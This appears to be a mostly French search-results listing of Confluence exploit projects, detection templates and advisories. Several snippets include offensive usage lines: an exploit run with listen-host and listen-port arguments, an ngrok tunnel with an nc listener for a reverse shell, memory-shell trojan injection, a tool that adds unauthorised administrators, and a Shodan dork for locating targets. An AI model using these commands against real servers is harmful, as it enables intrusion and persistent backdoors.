3093 matches found
CVE-2023-22527-MEMSHELL
Présentation du projet Ce projet s'inspire du projet de Boogipop https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL et y ajoute les fonctionnalités suivantes : 1. Injection de cheval de Troie Behinder 2. Ajout d'une option de proxy HTTP, utilisable avec -proxy http://127.0.0.1:8080 3...
CVE-2023-22527
CVE-2023-22527 - RCE Exécution de code à distance Vulnérabilité dans Confluence Data Center et Confluence Server PoC Détection nuclei -v -t /path/to/template.yam; -u http://ip:port/ Exploit python3 CVE-2023-22527.py -u ip:port -lh listen-host -lp listen-port...
CVE-2023-22515
CVE-2023-22515 Informations principales sur CVE-2023-22515 Produit affecté : Atlassian Confluence Data Center & Confluence Server. Date de publication : 04/10/2023. Niveau : Critique CVSS 10.0. Type de vulnérabilité : Contrôle d'accès cassé / Autorisation inappropriée → permet à un attaquant de...
CVE-2023-22527
CVE-2023-22527 CVE-2023-22527 - Vulnérabilité d'exécution de code à distance RCE dans les versions obsolètes de Confluence Data Center et Server Date de publication de l'avis Tue, Jan 16 2024 01:00 EST Produits : Confluence Data Center Confluence Server Versions affectées : 8.0.x 8.1.x 8.2.x 8.3....
Atlassian Jira Confluence - Cross-Site Scripting
Atlassian Jira Confluence before version 7.6.6, from version 7.7.0 before version 7.7.4, from version 7.8.0 before version 7.8.4, and from version 7.9.0 before version 7.9.2, allows remote attackers to inject arbitrary HTML or JavaScript via a cross-site scripting vulnerability in the error messa...
Atlassian Confluence <5.8.17 - Information Disclosure
Atlassian Confluence before 5.8.17 contains an information disclsoure vulnerability. A remote authenticated user can read configuration files via the decoratorName parameter to 1 spaces/viewdefaultdecorator.action or 2 admin/viewdefaultdecorator.action. id: CVE-2015-8399 info: name: Atlassian...
Atlassian Confluence Server - Path Traversal
The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 the fixed version for 6.6.x, from version 6.7.0 before 6.12.3 the fixed version for 6.12.x, from version 6.13.0 before 6.13.3 the fixed version for 6.13.x, and from version 6.14.0 before 6.14.2 the fixed version for...
Atlassian Confluence < 5.8.6 - Server-Side Request Forgery
Confluence Server and Data Center before 5.8.6 contain a blind server-side request forgery caused by the WidgetConnector plugin, letting remote attackers manipulate internal network resources, exploit requires network access to the server. id: CVE-2021-26072 info: name: Atlassian Confluence 5.8.6...
Atlassian Questions For Confluence - Hardcoded Credentials
Atlassian Questions For Confluence contains a hardcoded credentials vulnerability. When installing versions 2.7.34, 2.7.35, and 3.0.2, a Confluence user account is created in the confluence-users group with the username disabledsystemuser and a hardcoded password. A remote, unauthenticated attack...
Atlassian Confluence Download Attachments - Remote Code Execution
Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this pat...
Atlassian Confluence Data Center and Server - Remote Code Execution
Detects a Remote Code Execution vulnerability in Confluence Data Center and Server versions prior to X.X affected versions. This issue allows authenticated attackers to execute arbitrary code. id: CVE-2024-21683 info: name: Atlassian Confluence Data Center and Server - Remote Code Execution autho...
CVE-2022-26134
「💥」CVE-2022-26134 Description Dans les versions concernées de Confluence Server et Data Center, une vulnérabilité d'injection OGNL existe qui permettrait à un attaquant non authentifié d'exécuter du code arbitraire sur une instance Confluence Server ou Data Center. Les versions concernées sont de...
CVE-2023-22515
Outil Red Team - Outil d'exploitation de la vulnérabilité CVE-2023-22515 permettant l'ajout non autorisé d'un utilisateur administrateur dans Confluence Portée d'impact de la vulnérabilité root@kitploit: 8.0.0 = Confluence Data Center and Confluence Server = 8.0.4 8.1.0 = Confluence Data Center a...
confluence-hack
Piratage de Confluence CVE-2023-22515 exploit.py Exploit pour créer un nouvel administrateur Journal d'audit compromis : Servant de référence : https://packetstormsecurity.com/files/175225/Atlassian-Confluence-Unauthenticated-Remote-Code-Execution.html et https://github.com/Chocapikk/CVE-2023-225...
Confluence-CVE-2022-26134
Confluence-CVE-2022-26134 dork sur shodan root@kitploit: https://www.shodan.io/search?query=http.favicon.hash%3A-305179312&page=2 PoC curl root@kitploit: curl -v...
CVE-2021-26084_PoC
CVE-2021-26084 PoC | Injection OGNL dans Webwork de Confluence Server Une vulnérabilité d'injection OGNL existe qui permettrait à un utilisateur authentifié, et dans certains cas à un utilisateur non authentifié, d'exécuter du code arbitraire sur une instance Confluence Server ou Data Center. Mon...
analyze-Exploit-CVE-2023-22518-Confluence
Exploit-CVE-2023-22518 CVE-2023-22518 dans Confluence CVE-2023-22518 : Cette vulnérabilité est décrite comme « une vulnérabilité d'autorisation inappropriée dans la base de données et le serveur de Confluence ». Le bug affecte les versions On-premises des produits Atlassian. SETUP Configurez...
CVE-2023-22527-confluence
CVE-2023-22527-confluence Confluence CVE-2023-22527 PoC réel Utilisation Télécharger bun https://github.com/oven-sh/bun/releases Démarrer ngrok root@kitploit: ngrok tcp 4444 Écouter sur localhost 4444 root@kitploit: nc -nvlp 4444 Exécuter l'exploit root@kitploit: bun exploit-CVE-2023-22527.js...
CVE-2022-26134
CVE-2022-26134 Injection sans authentification dans le langage de navigation dans le graphe d'objets OGNL de Confluence Confluence est un produit de collaboration pour espaces de travail basé sur le Web, développé par Atlassian. Il peut être déployé sur site ou dans le cadre d'Atlassian Cloud. Il...